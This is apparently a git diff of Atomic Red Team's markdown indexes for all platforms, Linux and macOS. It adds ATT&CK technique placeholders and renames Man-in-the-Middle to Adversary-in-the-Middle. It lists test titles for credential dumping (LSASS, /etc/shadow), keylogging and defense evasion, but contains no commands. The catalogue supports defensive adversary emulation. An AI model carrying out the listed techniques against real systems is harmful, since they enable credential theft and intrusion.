+++ b/atomics/Indexes/Indexes-Markdown/index.md
@@ -9,6 +9,7 @@
 - [T1558.004 AS-REP Roasting](../../T1558.004/T1558.004.md)
   - Atomic Test #1: Rubeus asreproast [windows]
   - Atomic Test #2: Get-DomainUser with PowerView [windows]
+- T1557 Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1552.003 Bash History](../../T1552.003/T1552.003.md)
   - Atomic Test #1: Search Through Bash History [linux, macos]
 - T1110 Brute Force [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -96,7 +97,6 @@
   - Atomic Test #10: Powershell Mimikatz [windows]
   - Atomic Test #11: Dump LSASS with .Net 5 createdump.exe [windows]
   - Atomic Test #12: Dump LSASS.exe using imported Microsoft DLLs [windows]
-- T1557 Man-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1556 Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1003.003 NTDS](../../T1003.003/T1003.003.md)
   - Atomic Test #1: Create Volume Shadow Copy with vssadmin [windows]
@@ -170,6 +170,7 @@
 
 # collection
 - T1557.002 ARP Cache Poisoning [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1557 Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1560 Archive Collected Data](../../T1560/T1560.md)
   - Atomic Test #1: Compress Data for Exfiltration With PowerShell [windows]
 - T1560.003 Archive via Custom Method [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -195,11 +196,13 @@
   - Atomic Test #2: Automated Collection PowerShell [windows]
   - Atomic Test #3: Recon information for export with PowerShell [windows]
   - Atomic Test #4: Recon information for export with Command Prompt [windows]
+- T1185 Browser Session Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1115 Clipboard Data](../../T1115/T1115.md)
   - Atomic Test #1: Utilize Clipboard to store or execute commands from [windows]
   - Atomic Test #2: Execute Commands from Clipboard using PowerShell [windows]
   - Atomic Test #3: Execute commands from clipboard [macos]
   - Atomic Test #4: Collect Clipboard Data via VBA [windows]
+- T1213.003 Code Repositories [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1213.001 Confluence [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1056.004 Credential API Hooking](../../T1056.004/T1056.004.md)
   - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows]
@@ -231,8 +234,6 @@
   - Atomic Test #3: Zip a Folder with PowerShell for Staging in Temp [windows]
 - [T1114.001 Local Email Collection](../../T1114.001/T1114.001.md)
   - Atomic Test #1: Email Collection with PowerShell Get-Inbox [windows]
-- T1185 Man in the Browser [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
-- T1557 Man-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1602.002 Network Device Configuration Dump [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1074.002 Remote Data Staging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1114.002 Remote Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -356,6 +357,7 @@
   - Atomic Test #1: Event Monitor Daemon Persistence [macos]
 - [T1078.003 Local Accounts](../../T1078.003/T1078.003.md)
   - Atomic Test #1: Create local account with admin privileges [windows]
+- T1547.015 Login Items [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1037.002 Logon Script (Mac)](../../T1037.002/T1037.002.md)
   - Atomic Test #1: Logon Scripts - Mac [macos]
 - [T1037.001 Logon Script (Windows)](../../T1037.001/T1037.001.md)
@@ -641,6 +643,8 @@
 - T1484 Domain Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1484.002 Domain Trust Modification](../../T1484.002/T1484.002.md)
   - Atomic Test #1: Add Federation to Azure AD [azure-ad]
+- T1036.007 Double File Extension [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1562.010 Downgrade Attack [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1601.002 Downgrade System Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1574.004 Dylib Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1574.006 Dynamic Linker Hijacking](../../T1574.006/T1574.006.md)
@@ -649,6 +653,7 @@
 - [T1055.001 Dynamic-link Library Injection](../../T1055.001/T1055.001.md)
   - Atomic Test #1: Process Injection via mavinject.exe [windows]
 - T1548.004 Elevated Execution with Prompt [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1564.008 Email Hiding Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1480.001 Environmental Keying [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1574.005 Executable Installer File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1480 Execution Guardrails [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -669,6 +674,7 @@
 - [T1553.001 Gatekeeper Bypass](../../T1553.001/T1553.001.md)
   - Atomic Test #1: Gatekeeper Bypass [macos]
 - T1484.001 Group Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1027.006 HTML Smuggling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1564.005 Hidden File System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1564.001 Hidden Files and Directories](../../T1564.001/T1564.001.md)
   - Atomic Test #1: Create a hidden file in a hidden directory [linux, macos]
@@ -733,6 +739,7 @@
   - Atomic Test #9: chattr - Remove immutable file attribute [macos, linux]
 - [T1078.003 Local Accounts](../../T1078.003/T1078.003.md)
   - Atomic Test #1: Create local account with admin privileges [windows]
+- T1218.014 MMC [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1127.001 MSBuild](../../T1127.001/T1127.001.md)
   - Atomic Test #1: MSBuild Bypass Using Inline Tasks (C#) [windows]
   - Atomic Test #2: MSBuild Bypass Using Inline Tasks (VB) [windows]
@@ -750,6 +757,7 @@
 - [T1036.005 Match Legitimate Name or Location](../../T1036.005/T1036.005.md)
   - Atomic Test #1: Execute a process from a directory masquerading as the current parent directory. [macos, linux]
   - Atomic Test #2: Masquerade as a built-in system executable [windows]
+- T1218.013 Mavinject [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1556 Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1578 Modify Cloud Compute Infrastructure [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1112 Modify Registry](../../T1112/T1112.md)
@@ -867,6 +875,7 @@
 - T1542.004 ROMMONkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1600.001 Reduce Key Space [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1108 Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1620 Reflective Code Loading [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1218.009 Regsvcs/Regasm](../../T1218.009/T1218.009.md)
   - Atomic Test #1: Regasm Uninstall Method Call Test [windows]
   - Atomic Test #2: Regsvcs Uninstall Method Call Test [windows]
@@ -886,6 +895,7 @@
   - Atomic Test #7: Masquerading - windows exe running as different windows exe [windows]
   - Atomic Test #8: Malicious process Masquerading as LSM.exe [windows]
   - Atomic Test #9: File Extension Masquerading [windows]
+- T1564.009 Resource Forking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1578.004 Revert Cloud Instance [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1036.002 Right-to-Left Override [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1207 Rogue Domain Controller](../../T1207/T1207.md)
@@ -911,6 +921,7 @@
   - Atomic Test #11: Rundll32 with Control_RunDLL [windows]
 - T1134.005 SID-History Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1553.003 SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1562.009 Safe Mode Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1064 Scripting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1574.010 Services File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1574.011 Services Registry Permissions Weakness](../../T1574.011/T1574.011.md)
@@ -1096,6 +1107,7 @@
   - Atomic Test #1: Running Chrome VPN Extensions via the Registry 2 vpn extension [windows]
 - T1574 Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1062 Hypervisor [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1505.004 IIS Components [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1546.012 Image File Execution Options Injection](../../T1546.012/T1546.012.md)
   - Atomic Test #1: IFEO Add Debugger [windows]
   - Atomic Test #2: IFEO Global Flags [windows]
@@ -1119,6 +1131,7 @@
   - Atomic Test #6: Create a new Windows admin user [windows]
 - [T1078.003 Local Accounts](../../T1078.003/T1078.003.md)
   - Atomic Test #1: Create local account with admin privileges [windows]
+- T1547.015 Login Items [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1037.002 Logon Script (Mac)](../../T1037.002/T1037.002.md)
   - Atomic Test #1: Logon Scripts - Mac [macos]
 - [T1037.001 Logon Script (Windows)](../../T1037.001/T1037.001.md)
@@ -1315,6 +1328,7 @@
 - T1580 Cloud Infrastructure Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1538 Cloud Service Dashboard [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1526 Cloud Service Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1619 Cloud Storage Object Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1613 Container and Resource Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1087.002 Domain Account](../../T1087.002/T1087.002.md)
   - Atomic Test #1: Enumerate all accounts (Domain) [windows]
@@ -1358,6 +1372,7 @@
   - Atomic Test #3: Nix File and Directory Discovery [macos, linux]
   - Atomic Test #4: Nix File and Directory Discovery 2 [macos, linux]
   - Atomic Test #5: Simulating MAZE Directory Enumeration [windows]
+- T1615 Group Policy Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1016.001 Internet Connection Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1087.001 Local Account](../../T1087.001/T1087.001.md)
   - Atomic Test #1: Enumerate all accounts (Local) [linux]
@@ -1464,6 +1479,7 @@
   - Atomic Test #9: Griffon Recon [windows]
   - Atomic Test #10: Environment variables discovery on windows [windows]
   - Atomic Test #11: Environment variables discovery on macos and linux [macos, linux]
+- T1614.001 System Language Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1614 System Location Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1016 System Network Configuration Discovery](../../T1016/T1016.md)
   - Atomic Test #1: System Network Configuration Discovery on Windows [windows]
diff --git a/atomics/Indexes/Indexes-Markdown/linux-index.md b/atomics/Indexes/Indexes-Markdown/linux-index.md
index f944eb97..900d2083 100644
--- a/atomics/Indexes/Indexes-Markdown/linux-index.md
+++ b/atomics/Indexes/Indexes-Markdown/linux-index.md
@@ -6,6 +6,7 @@
   - Atomic Test #3: Access /etc/{shadow,passwd} with a standard bin that's not cat [linux]
   - Atomic Test #4: Access /etc/{shadow,passwd} with shell builtins [linux]
 - T1557.002 ARP Cache Poisoning [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1557 Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1552.003 Bash History](../../T1552.003/T1552.003.md)
   - Atomic Test #1: Search Through Bash History [linux, macos]
 - T1110 Brute Force [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -22,6 +23,7 @@
 - T1555.003 Credentials from Web Browsers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1606 Forge Web Credentials [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1056.002 GUI Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1056 Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1056.001 Keylogging](../../T1056.001/T1056.001.md)
   - Atomic Test #2: Living off the land Terminal Input Capture on Linux with pam.d [linux]
@@ -29,7 +31,6 @@
   - Atomic Test #4: Bash session based keylogger [linux]
   - Atomic Test #5: SSHD PAM keylogger [linux]
   - Atomic Test #6: Auditd keylogger [linux]
-- T1557 Man-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1556 Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1556.004 Network Device Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1040 Network Sniffing](../../T1040/T1040.md)
@@ -60,6 +61,7 @@
 - T1555.002 Securityd Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1528 Steal Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1539 Steal Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1558 Steal or Forge Kerberos Tickets [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1111 Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1552 Unsecured Credentials [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1606.001 Web Cookies [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -67,6 +69,7 @@
 
 # collection
 - T1557.002 ARP Cache Poisoning [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1557 Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1560 Archive Collected Data [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1560.003 Archive via Custom Method [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1560.002 Archive via Library](../../T1560.002/T1560.002.md)
@@ -82,6 +85,7 @@
 - T1123 Audio Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1119 Automated Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1115 Clipboard Data [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1213.003 Code Repositories [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1213.001 Confluence [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1074 Data Staged [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1530 Data from Cloud Storage Object [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -92,6 +96,7 @@
 - T1025 Data from Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1114 Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1114.003 Email Forwarding Rule [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1056.002 GUI Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1056 Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1056.001 Keylogging](../../T1056.001/T1056.001.md)
   - Atomic Test #2: Living off the land Terminal Input Capture on Linux with pam.d [linux]
@@ -101,7 +106,6 @@
   - Atomic Test #6: Auditd keylogger [linux]
 - [T1074.001 Local Data Staging](../../T1074.001/T1074.001.md)
   - Atomic Test #2: Stage data from Discovery.sh [linux, macos]
-- T1557 Man-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1602.002 Network Device Configuration Dump [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1074.002 Remote Data Staging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1114.002 Remote Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -240,10 +244,12 @@
 - T1484 Domain Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1484.002 Domain Trust Modification](../../T1484.002/T1484.002.md)
   - Atomic Test #1: Add Federation to Azure AD [azure-ad]
+- T1562.010 Downgrade Attack [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1601.002 Downgrade System Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1574.006 Dynamic Linker Hijacking](../../T1574.006/T1574.006.md)
   - Atomic Test #1: Shared Library Injection via /etc/ld.so.preload [linux]
   - Atomic Test #2: Shared Library Injection via LD_PRELOAD [linux]
+- T1564.008 Email Hiding Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1480.001 Environmental Keying [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1480 Execution Guardrails [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1211 Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -253,6 +259,7 @@
   - Atomic Test #3: Overwrite and delete a file with shred [linux]
   - Atomic Test #8: Delete Filesystem - Linux [linux]
 - T1222 File and Directory Permissions Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1027.006 HTML Smuggling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1564.005 Hidden File System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1564.001 Hidden Files and Directories](../../T1564.001/T1564.001.md)
   - Atomic Test #1: Create a hidden file in a hidden directory [linux, macos]
@@ -305,6 +312,7 @@
 - T1542.004 ROMMONkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1600.001 Reduce Key Space [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1108 Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1620 Reflective Code Loading [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1036.003 Rename System Utilities](../../T1036.003/T1036.003.md)
   - Atomic Test #2: Masquerading as Linux crond process. [linux]
 - T1578.004 Revert Cloud Instance [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -398,6 +406,7 @@
 - T1580 Cloud Infrastructure Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1538 Cloud Service Dashboard [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1526 Cloud Service Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1619 Cloud Storage Object Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1613 Container and Resource Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1087.002 Domain Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1069.002 Domain Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -447,6 +456,7 @@
   - Atomic Test #5: Linux VM Check via Kernel Modules [linux]
   - Atomic Test #7: Hostname Discovery [linux, macos]
   - Atomic Test #11: Environment variables discovery on macos and linux [macos, linux]
+- T1614.001 System Language Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1614 System Location Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1016 System Network Configuration Discovery](../../T1016/T1016.md)
   - Atomic Test #3: System Network Configuration Discovery [macos, linux]
@@ -647,6 +657,7 @@
 - T1021.004 SSH [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1563.001 SSH Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1072 Software Deployment Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1080 Taint Shared Content [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1550 Use Alternate Authentication Material [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1021.005 VNC [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1550.004 Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
diff --git a/atomics/Indexes/Indexes-Markdown/macos-index.md b/atomics/Indexes/Indexes-Markdown/macos-index.md
index dae827e6..9d090bba 100644
--- a/atomics/Indexes/Indexes-Markdown/macos-index.md
+++ b/atomics/Indexes/Indexes-Markdown/macos-index.md
@@ -1,6 +1,7 @@
 # macOS Atomic Tests by ATT&CK Tactic & Technique
 # credential-access
 - T1557.002 ARP Cache Poisoning [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1557 Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1552.003 Bash History](../../T1552.003/T1552.003.md)
   - Atomic Test #1: Search Through Bash History [linux, macos]
 - T1110 Brute Force [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -21,7 +22,6 @@
 - [T1555.001 Keychain](../../T1555.001/T1555.001.md)
   - Atomic Test #1: Keychain [macos]
 - T1056.001 Keylogging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
-- T1557 Man-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1556 Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1040 Network Sniffing](../../T1040/T1040.md)
   - Atomic Test #2: Packet Capture macOS [macos]
@@ -37,6 +37,7 @@
   - Atomic Test #5: Copy the users GnuPG directory with rsync [macos, linux]
 - T1555.002 Securityd Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1539 Steal Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1558 Steal or Forge Kerberos Tickets [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1111 Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1552 Unsecured Credentials [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1606.001 Web Cookies [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -44,6 +45,7 @@
 
 # collection
 - T1557.002 ARP Cache Poisoning [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1557 Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1560 Archive Collected Data [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1560.003 Archive via Custom Method [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1560.002 Archive via Library [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -61,13 +63,14 @@
 - T1005 Data from Local System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1039 Data from Network Shared Drive [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1025 Data from Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1114 Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1114.003 Email Forwarding Rule [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1056.002 GUI Input Capture](../../T1056.002/T1056.002.md)
   - Atomic Test #1: AppleScript - Prompt User for Password [macos]
 - T1056 Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1056.001 Keylogging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1074.001 Local Data Staging](../../T1074.001/T1074.001.md)
   - Atomic Test #2: Stage data from Discovery.sh [linux, macos]
-- T1557 Man-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1074.002 Remote Data Staging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1113 Screen Capture](../../T1113/T1113.md)
   - Atomic Test #1: Screencapture [macos]
@@ -102,6 +105,7 @@
 - [T1053.004 Launchd](../../T1053.004/T1053.004.md)
   - Atomic Test #1: Event Monitor Daemon Persistence [macos]
 - T1078.003 Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1547.015 Login Items [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1037.002 Logon Script (Mac)](../../T1037.002/T1037.002.md)
   - Atomic Test #1: Logon Scripts - Mac [macos]
 - [T1547.011 Plist Modification](../../T1547.011/T1547.011.md)
@@ -163,9 +167,11 @@
   - Atomic Test #8: Disable macOS Gatekeeper [macos]
   - Atomic Test #9: Stop and unload Crowdstrike Falcon on macOS [macos]
 - T1078.002 Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1562.010 Downgrade Attack [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1574.004 Dylib Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
